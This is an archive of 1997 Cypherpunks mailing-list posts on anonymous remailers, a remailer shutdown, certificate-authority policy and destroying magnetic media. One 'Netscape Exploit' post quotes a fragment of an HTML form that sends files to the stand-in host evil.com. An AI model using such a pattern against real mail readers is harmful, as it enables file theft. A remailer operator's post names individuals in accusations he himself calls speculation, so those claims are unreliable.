is not a small problem anymore when you're getting >200 complaint > messages a day, plus 5-10 phone calls to your employer (and your > employer's legal department). Fortunately, Wired is a very progressive > company, and supported my efforts to provide anonymity, but our lawyers > aren't paid to answer phone calls on my behalf. Running a remailer is > one thing... getting harassed at work is an entirely different matter, and > getting a THIRD PARTY harassed at work is yet another one. > > But yes, The ultimate "take this thing down" decision was one made > because I was sick of this bullshit. But you know what? I volunteer > my time, my computer equipment, and bandwidth that is given to me > as part of my salary. I do (well did) all of this because I believe > that anonymity is a right, and because I have the capabilities of > helping to provide anonymity to the masses. When the remailer was > self-sufficient (before the attacks started), it took maybe 10 minutes > of my time a day, and minimal resources on my machine. Afterwards, > even after I put in the auto-blocking feature (send a blank message > to a particular address and get your address blocked) and the > autoresponder on the remailer-admin account, I was still getting >100 > messages a day reporting abuse... almost all of it spam-bait related. > I receive no benefit from running the remailer (I don't even use it > myself), and when it becomes a fairly major hassle without any > rewards, the decision is not a hard one to make. > > And frankly, I already have enough to do, and get enough mail on a > daily basis (at last check it was hovering around 600 messages/day). > As soon as the remailer started taking up a lot of my time, it became > time to rethink why I was running it. The moment that the spam-baiter > started alerting people who had been baited, and telling them to > contact me, it became personal. And I don't have time to get into > personal pissing-contests. Yes, I took the easy way out, but that > was my choice to make. > > Anyone who doesn't run a remailer has very little right questioning my > choice, because you have no idea what precipitated it. Most people > reading this group have the capabilities of running a remailer (it only > takes a POP account and a Windows machine to run the Winsock remailer), > but very few of us actually do. Why is that? I've been running huge. > cajones for just under 2 years, and it averaged just over 3000 messages > a day, so my remailer was responsible for about 2 million anonymous > messages in its lifetime. I think I've done my part (at least for now), > it's time for someone else to do theirs. If we had 15 disposable remailers > that operated for 2-3 months each before moving/going away, we'd have > paths for millions more anonymous messages. And isn't that what we're > really trying to provide? > > : The first was doing questionable things, like installing content-based > : filtering in an attempt to placate the attacker. Giving in to the demands > > When I first put the filters in, I was entirely unaware of exactly what > the hell was going on. It seemed that someone had a bone to pick with > databasix, and was using the remailer to get databasix harassed by > third parties. So, Burnore's complaint seemed reasonable at the time, and > I tried to come up with a way to block spam-bait abuse, without blocking > anything else (like a reply to burnore in Usenet). > > See, if someone was doing to me what they appeared to be doing to Burnore, > I would be pissed. I figured placating him would be the best thing to > do. In hindsight, I was wrong, but at the time, it seemed like the correct > decision. (Also at the same time, the SPA threatened Wired with a > lawsuit because of The MailMasher, so things were a little tense between > me and the legal department already, I didn't need to make them any worse.) > > The final content-based-filter (there was an interim one) looked for the > following things: > > 1. Any address at databasix (Yes, at the request of Burnore) > 2. Any address from my destination block list > 3. More than 5 addresses in a row, one line each, without other content > in-between. > 4. Patterns of particular Usenet groups. > 5. Particular subject lines. > > If any THREE of these items were spotted, the message got thrown into a > reject bin. I periodically examined the reject bin, and can personally > attest that it didn't block ANYTHING that it wasn't intended to. (The > test posts reeked of spam-bait to me, and I believe were correctly > blocked) > > FWIW, the filters were removed about a week ago. > > Because the filters were looking for a specific form of ABUSE, and not > just doing basic pattern matches, I don't consider them to be "content > filters". I would think that just about anyone would agree that > posting lists of email addresses to mlm newsgroups would qualify > as abuse, and _should_ be blocked. Blocking of this nature does NOT > restrict free speech (or at least that is not the intentions of it), and > it would keep the remailer out of lawsuit territory. > > See, the big problem with lawsuits is not the fact that _I_ don't want > to be sued. The problem is that anyone with half a brain can determine > that Wired is somehow related to any remailer that I am running on their > bandwidth. Wired has deeper pockets than Mr. Burchell, so they are a > much better group to sue... and they are a lot more willing to give > in to a threat than I am. > > : What I *MIGHT* have done was to respond as follows: > : > : Your legal demands are unacceptable. I'd rather close the remailer than > : compromise its integrity to suit your whims. But understand this -- unless > : you withdraw your demands, I will not only close the remailer but also make > : damn sure all of its users know exactly who forced me to take this action! > > I did respond in a fashion much like this, about a week before the attacks > started coming. Mr. Burnore requested a copy of my (non-existant) logs. > I told him to get me something in writing, signed by his lawyer that > stipulated that the logs were confidential, and not to be revealed to > anyone outside of the lawyer's office. > > I received a letter from Belinda Bryan. She is not registered with the > State Bar of California, and is thus, not a California lawyer. I then > ignored the request, and forwarded the correspondence to the State > Attorney General's office (as impersonating a lawyer in CA is defined > as fraud with extenuating circumstances). They have been working with > me and the San Francisco DA's office. Look out DataBasix... I'm not done > with you yet. > > : The second mistake I perceive is not fully disclosing the circumstances that > : brought down Huge Cajones, and *NAMING NAMES*. That way, even if the remailer > : shuts down, other remailer operators will learn about the tactics employed > : against it, know *WHO* made the demands, etc. IOW, when you get an innocent > : sounding, polite complaint from xxxx at yyy.com alleging "abuse", here's the > : scenario that's likely to follow ... (It's not too late to make that > : disclosure, Jeff.) > > In fact, now is the time to. Making a disclosure like this while I > was still running the remailer would have probably been a bad move. > Now that the remailer is closed, I'll name the names that I've got. > > Beware... all of this is speculation, because huge.cajones was an > anonymous service, not even I can say with any authority that any > of the people named below had anything to do with the shutdown of > huge.cajones (or The MailMasher). However, there are a number of > coincidences of timing. > > I still don't know what the hell is going on with DataBasix, Wells Fargo > and Gary Burnore, but I suspect that someone used huge.cajones to say > something extremely unflattering about Burnore (from what I can tell, > he had it coming). Burnore then decided that he would make things > difficult for me. First, he wanted the user who had posted something > "inflammatory" about him revealed. When I told him that I couldn't > do that, he carried on about mail logs and identifying the host that > a message came from (the usual). I didn't explain to him that my > machine keeps logs, but not anything involving a *@cajones.com > address. He then requested the logs, which I denied (and told him > to get his lawyer to send a request...) > > I'll admit, after my second or third contact with Mr. Burnore, I > no longer was particularly civil with the guy. He's a kook, and > really didn't deserve my courtesy. > > Between the time he first contacted me, and the time I received the > letter from Belinda Bryan, is when the baiting of databasix addresses > began (slowly, with just a few posts). After a while, I received > requests from the other members of DataBasix (including William McLatchie > (sp) (aka wotan) who actually seems to be a remailer supporter (?)). > > It was at this point that I realized something was completely amiss. > I asked McLatchie to please tell me the story of DataBasix, and he > said that he was going to, but never did. Anyone who can tell me > the story is invited to do so. > > As a side note (and just because I am naming names). Peter Hartly > (hartley at hartley.on.ca) yesterday spam-baited me. Fortunately, > I've got good filters in place. > > As another side note, I've seen nothing to make me believe that Belinda > Bryan is even a real person. Anyone? > > : > Given the importance of what Jeff was doing, I hope that he > : > did all that he could, before declaring defeat. If that is the case, > : > I commend him for a job well done. If not, why? > > I can't claim to have done _everything_ that I could have done, but I > did certainly make an effort. I'm not willing to go to court to defend > a practice like spam-baiting (and given the current public-opinion situation > and impending anti-UCE legislation, this would be a terrible test-case). > > I am not new to threats of lawsuit, even ones that come from legitimate > lawyers. About 8 months previous, I was threatened repeatedly by the > legal wing of the "Church" of Scientology. I answered with a letter > from my lawyer that explained the policies of the remailer, and > threatened a harrassment lawsuit if the "Church" contacted me again asking > for information (that they now knew I didn't have) about a remailer user. > They complied, and went away (and haven't been too difficult with > other remailer operators lately). > > : Agreed. Otherwise, these "asshole(s)" are simply going to do it all over > : again against another remailer, eventually taking them all down one at a time. > Except that right now, new remailers are springing up. If we could get > three more online for every one shut down, it wouldn't much matter, would > it? I may very well end up running a mailer again in the future, but if > I do, it will probably be either a throwaway exit-man or a truely anonymous > middleman (i.e. nobody will actually know who is running it). It also > will probably be hosted outside of the United States (Floating in > international waters with a sat feed would be nice). > > : It's time for them to stand up and say "Next time you come for one of us > : he's > : not going quietly as the others have. You'll have to face ALL of us at once, > : instead." > > Aah, you imagine much more solidarity among remailer operators than actually > exists. It doesn't work that way. It would be nice if it did, but many of > us are running remailers on borrowed bandwidth (or have other "situations" > to be concerned about). Being the squeaky wheel is not always a good idea > for many of the operators (most of whom try to keep a low profile). > > The reality is, for all the good they do, remailers are tools that can > very easily be abused. And, as the internet gets more and more commonplace, > the average Joe and Joesphine, who don't have the strict Cyber-Libertarian > viewpoints that are shared by most of us old-timers, will start to wonder > just why anyone would want to run a service that allows anyone to speak their > mind without fear of reprisal. When you get people with more extreme > viewpoints (the ones who have a really legitimate need for anonymity) posting > all kinds of stuff to all kinds of places, it will get the attention of > Middle-America, which will then bring it to the attention of legislators. > Any time a legislator can say "This is a blow to Child Pornographers and > others who hide behind anonymity to commit crimes without fear of reprisal" > you can guarantee that the bill will pass. > > When that happens, we're in trouble. America is scared of computers, and > remailers are thought to be havens for the big 3 (Terrorists, Organized > Crime and Child Pornographers). Now that the spammers are involved > (spammers possibly being hated more than the big 3), most users are > exposed to anonymous remailers in negative ways (Imagine what you would > think if the first time you heard about the existance of remailers, it > was because someone had spam-baited you, and then told you about it). > > The right to anonymity in the US will be legislated away within 18 months, > partially because of spam. I do hope there's a _good_ test case waiting, > and someone willing to fight it to the end, but I have my doubts. Ultimately > the remailer network will be forced to move offshore, the way Crypto > development currently has. > > Don't like the News? Go out and make some of your own. > > -Jeff > > |o| |o| > |o| Jeff Burchell toxic at wired.com |o| > |o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o| > |o| I am not speaking for anyone but myself. |o| > |o| |o| -- There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at secret.squirrel.owl.de Tue Jul 1 21:14:25 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Wed, 2 Jul 1997 12:14:25 +0800 Subject: Degaussing Message-ID: <19970702021749.17094.qmail@squirrel.owl.de> Could someone please point me to a FAQ or somesuch about degaussing magnetic media? Thank you! From nobody at REPLAY.COM Tue Jul 1 21:16:02 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 2 Jul 1997 12:16:02 +0800 Subject: Netscape Exploit Message-ID: <199707020350.FAA24898@basement.replay.com> > >Here is a sample it isn't complete but you get the basic idea of what is > >going on > >Evil-DOT-COM Homepage > > > > > >
> NAME="daForm" > > ACTION="http://evil.com/cgi-bin/formmail.pl" > > METHOD=POST> > > > > > > > > > >and so on and so forth... So if someone was using Netscape to read mail, and I included a small bit of HTML like the above, I could snarf up files out of everywhere? From nobody at secret.squirrel.owl.de Tue Jul 1 21:20:39 1997 From: nobody at secret.squirrel.owl.de (Secret Squirrel) Date: Wed, 2 Jul 1997 12:20:39 +0800 Subject: Internet - Good & Bad [CNN] Message-ID: <19970702034658.19497.qmail@squirrel.owl.de> Jim Choate wrote: > > Time NEW YORK (CNNfn) - New technologies for video transmission over > > the Internet, such as digital video discs (DVDs), represent remarkable The article lost credibility in the first sentence. Is that a record? From pooh at efga.org Tue Jul 1 21:41:41 1997 From: pooh at efga.org (Robert A. Costner) Date: Wed, 2 Jul 1997 12:41:41 +0800 Subject: Public Forum on Certificate Authorities and Digital Signatures In-Reply-To: Message-ID: <3.0.3.32.19970702002232.03449c2c@mail.atl.bellsouth.net> I did not see this on the list earlier, so I thought I'd post a copy. This message says that the Executive Branch wants to know what we think about CA's, escrow, strong crypto, and other issues. Anyone want to offer me a plane ticket to NIST in Gaithersburg, MD? - ---------- Forwarded message ---------- Date: Wed, 25 Jun 1997 10:36:44 -0400 (EDT) From: Elizabeth Lennon To: Multiple recipients of list Subject: Announcement of Public Forum and Request for Comments DEPARTMENT OF COMMERCE Public Forum on Certificate Authorities and Digital Signatures: Enhancing Global Electronic Commerce AGENCY: Technology Administration, Commerce. ACTION: Notice of public forum and request for public comments. - ----------------------------------------------------------------------- SUMMARY: The Department of Commerce requests public comments on various aspects of the public key infrastructure related to certificate authorities and digital signatures. This request for public comment will enable the Department, and other Executive Branch agencies, to benefit from the expertise and views of the private sector, states, localities, non-profits, industry associations and other national and international entities. Specific questions that the Department seeks public comments on are listed in ``Supplementary Information''. A ``Public Forum on Certificate Authorities and Digital Signatures: Enhancing Global Electronic Commerce'' is being sponsored by the Department on this topic. The comments received by the Department will aid in effectively supporting Administration initiatives on electronic commerce issues. DATES: The ``Public Forum on Certificate Authorities and Digital Signatures: Enhancing Global Electronic Commerce'' will be held on July 24, 1997, from 8:00 a.m. to 6:00 p.m. Advanced registration for the ``Public Forum'' is due by July 16, 1997. Written comments are due by July 16, 1997. Requests to participate as a panelist in the ``Public Forum'' are due by July 2, 1997. ADDRESSES: The ``Public Forum on Certificate Authorities and Digital Signatures: Enhancing Global Electronic Commerce'' will take place at the Green Auditorium, Administration Building, National Institute of Standards and Technology, Gaithersburg, Maryland. Written comments should be sent to: Director, Information Technology Laboratory, ATTN: ``Public Forum on Certificate Authorities and Digital Signatures'', Technology Building, Room A231, National Institute of Standards and Technology, Gaithersburg, MD 20899. Electronic comments may be sent to ECFORUM at NIST.GOV. Electronic comments should be in ASCII, MS word or WordPerfect formats. No comments will be accepted by voice phone or by fax. PUBLIC INFORMATION: The Department, based on comments received and expressions of interest, will organize the Public Forum as a series of panels, with short presentations and then a period for questions from the audience. Not all issues included in this notice may be covered in the public forum, and the Department may organize the program along lines different than the questions are presented. Members of the public who are interested in serving on a panel are asked to contact the individual listed in FOR FURTHER INFORMATION CONTACT below. Due to time and physical constraints, and in order to develop an effective program, not all requests can be honored. FOR FURTHER INFORMATION CONTACT: Mr. Edward Roback, Information Technology Laboratory, National Institute of Standards and Technology, Building 820, Room 426, Gaithersburg, MD 20899-0001. (301) 975-3696. For planning purposes, advanced registration is requested by July 16, 1997. To register, please fax your name, postal address, telephone and e-mail address to: 301-948-1233, ATTN: ``July 24 Public Forum''. Space permitting, registration will also be available at the door. The July 24th meeting is open to the public. There is no registration fee for the Public Forum. SUPPLEMENTARY INFORMATION: The ``Public Forum'' on Certificate Authorities and Digital Signatures: [[Page 31412]] Enhancing Global Electronic Commerce'' will be held on July 24, 1997 at the Green Auditorium, Administration Building, National Institute of Standards and Technology, Gaithersburg, MD. Copies of written submissions received by July 16, 1997, will be made available at the Public Forum. Issues for Public Comment and Themes of the Public Forum The emergence of a public key infrastructure, and the demands of global electronic commerce, have generated significant private sector and governmental efforts to develop a reliable system of certificate authorities that enable use of trustworthy digital signatures. The Department of Commerce, and other Executive Branch agencies, seek public comment on and are planning a Public Forum that encompasses the following issues. By seeking comment from the varied parties and interests, reflecting the many initiatives that are underway, the Executive Branch will be better able to assess emerging initiatives on digital signatures and certificate authorities; ensure that the federal government's PKI activities take advantage of the latest developments and directions in the private sector; and aid federal government officials and industry representatives participating in domestic and international fora on these issues. 1. State government initiatives through ``digital signature laws.'' Some two dozen states have passed some form of ``digital signature laws'' in the last two years. The Department encourages comments from relevant state government agencies on the experiences and issues that have arisen during the process of implementing these laws, including the status of any registration of certificate authorities. Comments that reflect the systematic aspects of digital signature laws are especially encouraged. Comments are also encouraged by users and stakeholders in the systems that result from passage of these ``digital signature laws.'' 2. The evolving legal framework of certificate authorities and digital signatures. A number of private sector efforts are underway to examine and recommend changes to the legal and regulatory framework that could contribute to a reliable system of certificate authorities. The Department notes the efforts, among others, of the American Bar Association (``Digital Signature Guidelines'') and the National Commission on Uniform State Laws. The Department encourages comments from all private sector efforts which are undertaking efforts in this area. 3. The technology and business challenges of certificate authorities and digital signatures. In response to user demands, an industry of certificate authorities is emerging. The Department seeks comments from those entities that are offering services and technologies that relate to issuing certificates and digital signatures. 4. User requirements and expectations. A multitude of sectors can be expected to utilize a reliable system of certificate authorities and digital signatures. The Department seeks comments from any and all sectors that are developing performance requirements and user expectations in this area. Comments are encouraged from non-profits and governmental entities, as well as for-profit enterprises. 5. An international perspective. A number of countries and international fora are examining the issues of a reliable system of certificate authorities and use of digital signatures. The Department notes the activities of UNCITRAL, the OECD, as well as recent developments in Germany, Japan, the European Union, etc. The Department invites comments from international representatives on the issues outlined in this notice and participation in the Public Forum. Comments received in response to this notice will be made part of the public record and will be available for inspection and copying in the Central Reference and Records Inspection Facility, Room 6020, Herbert C. Hoover Building, 14th Street between Pennsylvania and Constitution Avenues, NW, Washington, DC 20230. The Department intends to publish the proceedings of the Public Forum, and all public comments, as soon as possible after the July 24th meeting. Dated: June 3, 1997. Mary L. Good, Under Secretary of Commerce for Technology. [FR Doc. 97-14991 Filed 6-6-97; 8:45 am] BILLING CODE 3510-CN-M From shamrock at netcom.com Tue Jul 1 22:12:56 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 2 Jul 1997 13:12:56 +0800 Subject: Degaussing In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de> Message-ID: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com> At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote: >Could someone please point me to a FAQ or somesuch about degaussing >magnetic media? Thank you! Mini-FAQ: 1. How do I degauss magnetic media so that the feds can no longer read my data? You don't. That's why the feds themselves don't degauss their magnetic media for declassification purposes. They remove the oxide layer. In case of floppies the preferred method is incineration, in case of hard drives, the usual technique is sandblasting. --Lucky Green PGP encrypted mail preferred. DES is dead! Please join in breaking RC5-56. http://rc5.distributed.net/ From geeman at best.com Tue Jul 1 22:23:11 1997 From: geeman at best.com (geeman at best.com) Date: Wed, 2 Jul 1997 13:23:11 +0800 Subject: Marc Andreessen on encryption and CDA Message-ID: <3.0.32.19970701215737.006ac26c@best.com> yikes - this response makes me as nervous as any misguided government GAK program. Yes, why *should* the poorest and most starved people in the world have any more than they do? It's a free world, ain't it? They're free to avail themselves of the latest in technology, health care, and education to improve their lot aren't they? No, they're victims of transnational corporate wealth-displacement programs funded by the IMF and World Bank, organizations which fatten tinpot dicators' personal fortunes while forcing an export economy onto the weak, stripping them of the power of self-sufficiency in order to feed corporate Masters with no place and no conscience. These people the ones who pick your fruit and vegetables; they're the ones who make your designer sneakers and the silk ties and nice button-down shirts you wear to your cubicle every day. They're the ones who have no voice, no power and no chance. They starve in order to feed and clothe and entertain you, that's why. There are equitable balances of wealth distribution, and there are unconscionable and indefensible ones. I try to play a part is maintaining a balance saner than that of a world dominated by people with your response; I deliver boxes and bags of things I no longer need to Goodwill and others; I wrote off as much as I could in charity donations last year; my wife sponsors a child thru the Christian Childrens Fund; I try to educate myself -- to learn why the peasants revolted in Chiapas, how GATT and SNAFU -- oops I mean NAFTA -- really work and whom they really benefit. I write when I can to try to pass along some of what I learn. Do you continue giving when someone else has less than you do? Absolutely. I hope that you will eventually grow up and achieve some wisdom and compassion. At 12:06 PM 7/1/97 -0400, Michael Lamarra wrote: >Hi, > >I'm curious - why should the 20% percent of the world's population own more >wealth than they do now? How are you identifying them and how much are you >giving them? After all, you probably own more than a vast number of people on >earth also. I know that I do and I'm barely a thousandaire. Do I stop giving >when someone has the same amount as me or do I continue because there is >someone else who still has less? > >Thanks, > >Mike > >I suppose that's why US displays the greatest income disparity between rich >and poor of >any of the industrialized nations? Why some 10 or 20 billionaires >collectively own more >wealth than some 20% of the world's population? Or were you being sarcastic? > >At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote: >>Ah, but what is a market except voluntary transactions between people? >>What is good for the market is good for the people. >> >>-Declan >> >>On Mon, 30 Jun 1997 geeman at best.com wrote: >> >>> My biggest problem is when the pundits (and by extension, those that punt >>> to them) >>> frame this entire debate in terms of the Market. To do so is to argue that >>> only solutions >>> that are good for The Market are good solutions; that when a particular >>> policy is market-agnostic >>> or market-negative, even though it may be good policy for People (yes, >>> remember them ???) it is irrelevant or >>> bad. This debate is NOT about the Worldwide Encryption Market! >>> >> >> >> > > > > From alan at ctrl-alt-del.com Tue Jul 1 22:23:47 1997 From: alan at ctrl-alt-del.com (Alan Olsen) Date: Wed, 2 Jul 1997 13:23:47 +0800 Subject: Degaussing In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de> Message-ID: <3.0.2.32.19970701220247.03e5d100@mail.teleport.com> At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote: > >Could someone please point me to a FAQ or somesuch about degaussing >magnetic media? Thank you! Electromagnetic pulse. You want something as strong as possible. About 10 megatons should generate a big enough pulse. --- | "That'll make it hot for them!" - Guy Grand | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From snow at smoke.suba.com Tue Jul 1 22:23:57 1997 From: snow at smoke.suba.com (snow) Date: Wed, 2 Jul 1997 13:23:57 +0800 Subject: Hettinga's e$yllogism In-Reply-To: <19970630111759.13667@bywater.songbird.com> Message-ID: <199707020512.AAA01518@smoke.suba.com> > In "the real world" (tm by Kent Crispin), Paul, there isn`t anything If you have a trademark on it, that means you own it right? Then can I sue you for deceptive marketing practices? From geeman at best.com Tue Jul 1 22:46:31 1997 From: geeman at best.com (geeman at best.com) Date: Wed, 2 Jul 1997 13:46:31 +0800 Subject: Marc Andreessen on encryption and CDA Message-ID: <3.0.32.19970701221029.0068d7c0@best.com> The point was that Marc Andreessen insists on framing the crypto debate in terms of "The Market" -- the next statement was that that's OK because What's Good for the Market is Good for the People. My reply to that was "bullshit and here's why"; don't take my word for the stats, go look them up, and I won't go into the absolute correctness of your statement about "wealth" vs. "securities" Bottom line is that there is tremendous evidence that what's good for the Market is NOT at ALL good for 'the people' -- and that framing the crypto debate in such terms makes the issues of civil liberties and the empowerment of People irrelevant. Now this may be a good political ploy when playing the back rooms of Washington, but I'd wish for something better from someone from Netscape, one of the Big Voices in the debate. At 01:37 PM 7/1/97 -0400, Duncan Frissell wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >At 08:49 AM 7/1/97 -0700, geeman at best.com wrote: >>I suppose that's why US displays the greatest income disparity between rich >>and poor of >>any of the industrialized nations? > >We don't know if this is true because no statistical series captures all >"wealth." The underground economy here is supposedly 15% but higher in much >of Europe. Also no country includes public benefits in income calculations >although they are income and the higher US medical costs substantially >increase the total income of those receiving Medicaid. Those comparisons are >suspect because too much income is excluded from the calcs. > >>Why some 10 or 20 billionaires >>collectively own more >>wealth than some 20% of the world's population? Or were you being sarcastic? > >They don't. They own more "securities." If you total the discounted >(present) value of the future income stream of 20% of the earth's population >(adjusting for the probable massive income increases of the next 20 years of >extreme boom times), and you count the value of personal property it comes to >more than the current wealth of the top billionaires who after all are >apparently worth less than a $trillion or two collectively. > >But I don't know what this all has to do with encryption policy, however. > >DCF >-----BEGIN PGP SIGNATURE----- >Version: PGP for Personal Privacy 5.0 >Charset: noconv > >iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE >Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN >OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N >xLZKAHYvXWw= >=F09z >-----END PGP SIGNATURE----- > > > From whgiii at amaranth.com Tue Jul 1 22:46:53 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 2 Jul 1997 13:46:53 +0800 Subject: Internet - Good & Bad [CNN] In-Reply-To: <19970702034658.19497.qmail@squirrel.owl.de> Message-ID: <199707020518.AAA09759@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <19970702034658.19497.qmail at squirrel.owl.de>, on 07/02/97 at 03:46 AM, Secret Squirrel said: >Jim Choate wrote: >> > Time NEW YORK (CNNfn) - New technologies for video transmission over >> > the Internet, such as digital video discs (DVDs), represent remarkable >The article lost credibility in the first sentence. Is that a record? First sentence? First word did it for me :) - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM7nlBo9Co1n+aLhhAQFsfgP7BxJypkF9KupcWACTLLUT8MCzfKckS1aL h96Wa2STCSzWqvXC6cyCdugTdzFecOUowDt3UfjMgOzPOzBdGz8jCQuiNkxAt/Gt t6ionQfFBYD4ObDi8A+UQI/71Oq9k1VsbJhMLZr2FQfy90a1+3P20yqsNWQT7qgs RQQl6z8GJMA= =ZkZ6 -----END PGP SIGNATURE----- From meganm at asis.com Tue Jul 1 22:54:11 1997 From: meganm at asis.com (Megan McCormack) Date: Wed, 2 Jul 1997 13:54:11 +0800 Subject: non-US encryption Message-ID: <3.0.32.19970701221735.00994bc0@asis.com> I'm looking for a maillist for discussion of non-US encryption software. Their was one at braae.ru.ac.za which now apears to be defunct. Thanks, Megan ************** Chop wood, carry water, check e-mail ************ Megan McCormack http://www.asis.com/~meganm From die at pig.die.com Tue Jul 1 23:55:08 1997 From: die at pig.die.com (Dave Emery) Date: Wed, 2 Jul 1997 14:55:08 +0800 Subject: Degaussing In-Reply-To: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com> Message-ID: <199707020629.CAA15333@pig.die.com> Lucky Green wrote : > At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote: > >Could someone please point me to a FAQ or somesuch about degaussing > >magnetic media? Thank you! > > Mini-FAQ: > 1. How do I degauss magnetic media so that the feds can no longer read my > data? > > You don't. That's why the feds themselves don't degauss their magnetic > media for declassification purposes. They remove the oxide layer. In case > of floppies the preferred method is incineration, in case of hard drives, > the usual technique is sandblasting. This may also have to do with the many documented instances when federal hard drives, including some from NSA computers, were sold surplus unerased with significant sensitive information still intact on them (I know personally of once such incident of many). Destroying the disks makes sure that they were, in fact, rendered unreadable and not just signed off on by some bored low paid clerk charged with demilitizing them who didn't want to bother to figure out how to erase them. The problem here is that a destroyed disk is obviously unreadable to even the most dumb and unmotivated clerk with a GED, while a merely erased disk looks just exactly like one full of sensitive information - actually verifying that the information is in fact entirely gone requires a lot of technical skill and is subject to all kinds of false positives (how about sectors that contained sensitive stuff and then were later marked bad and swapped with alternates, for example ? ) I think all of us forget that the usual key to crypto protected secrets is in the trash and surplus equipment and document disposal practices of the target rather than advanced mathematics. And most technical people pay as little attention as they possibly can to what happens with the old floppies left by Joe who quit to take a new job or what happened to Sallie's old hard drive after she got the new computer, or whether the old backup tapes really are all fully accounted for or were thrown out in the move... I applaud the government for forgoing a few dollars in residual revenue by not selling old disks intact any more. Dave Emery die at die.com From deec1 at tom.fe.up.pt Tue Jul 1 23:55:36 1997 From: deec1 at tom.fe.up.pt (Pedro David Castanheira Polonia) Date: Wed, 2 Jul 1997 14:55:36 +0800 Subject: a little problem... In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- hi! here goes: i'm tring to put on our campus (my university) one machine to make the gateway betwen radio amat. and the internet.. at the begining it may be only e-mail, and web. I'm thinking in using a linux on a pentium, conected with one or two baycom modem conected to the radio, and running a tcp packet radio network. In the machine, i put squid, or other proxie server for web, a pop mail and a connection to our moo (atlantis.fe.up.pt 7777). first problem: how to make the autentication ? every one in the the packet radio network gets all packets... i was thinking in using secure shell, but i only get one machine, and if i get, say, 15 users, i don't get the cpu power to manage all that stuff. second problem: i want to gerate free acounts/free e-mails automatic for the radio ham. where can i get all this software? BTW, i'm in europe, portugal. anyone have any electronic hardware (not expensive), to speed up the autentication (without fancy chips that nobody have ..) ? please reply to me with your sugestions, flames, etc cheers Pedro -- ______________ +------------------------/___________ /\------------------------------+ | Peace, love and \ ________/ / / "It is impossible to love | | 8 hours of sleep! ;-) \ \ \ / / / and to be wise." | | \ \ \ / / / Francis Bacon | | Pedro David Polonia \ \ \/ / / | | Pgpfinger: 5E 98 1D 8D C1 \ \ \/ / E3 88 A1 1E EC 73 F9 88 2B 8F 64 | +-----------------------------\ \ /-----------------------------------+ \_\/ -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv Comment: free your mind... iQCVAwUBM7mVT8+REMAvhl6hAQGYUgP9Gy6URrwcEg4p3gChfi8lpHrrJdR0aB24 PzzrwW/k2J6UpncPFYKYyTX/Jg/riajTpyOb5Qpjt2/4FZ3OK34IDFekD3mhTNFf 2zpKMlR2+ZBROTQCPiWtfVo9/IZeQCJYgI9dey5inL0xTh+egM5KcNpfn4Wsqp/d R2QUKxpHPcc= =+8jL -----END PGP SIGNATURE----- From frantz at netcom.com Tue Jul 1 23:56:11 1997 From: frantz at netcom.com (Bill Frantz) Date: Wed, 2 Jul 1997 14:56:11 +0800 Subject: Degaussing In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de> Message-ID: At 10:02 PM -0700 7/1/97, Alan Olsen wrote: >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote: >> >>Could someone please point me to a FAQ or somesuch about degaussing >>magnetic media? Thank you! > >Electromagnetic pulse. You want something as strong as possible. About 10 >megatons should generate a big enough pulse. It works better if you also expose it to the heat and blast. :-) In all seriousness, complete physical destruction of the media is the only sure technique. Lucky Green's sandblasting sounds like it should work well. Melting it into slag should also work. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From jmatk at tscm.com Wed Jul 2 16:46:12 1997 From: jmatk at tscm.com (James M. Atkinson, Comm-Eng) Date: Wed, 2 Jul 1997 16:46:12 -0700 (PDT) Subject: TSCM Intelligence Update - Spread Spectrum Surveillance Modules Message-ID: A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 3128 bytes Desc: not available URL: From popopotyrui at aol.com Wed Jul 2 18:33:53 1997 From: popopotyrui at aol.com (Anne) Date: Wed, 2 Jul 1997 18:33:53 -0700 (PDT) Subject: Can You Handle $50,000 Message-ID: <199707030130.VAA24450@arl-gw-6.compuserve.com>

CAN YOU HANDLE $50,000?

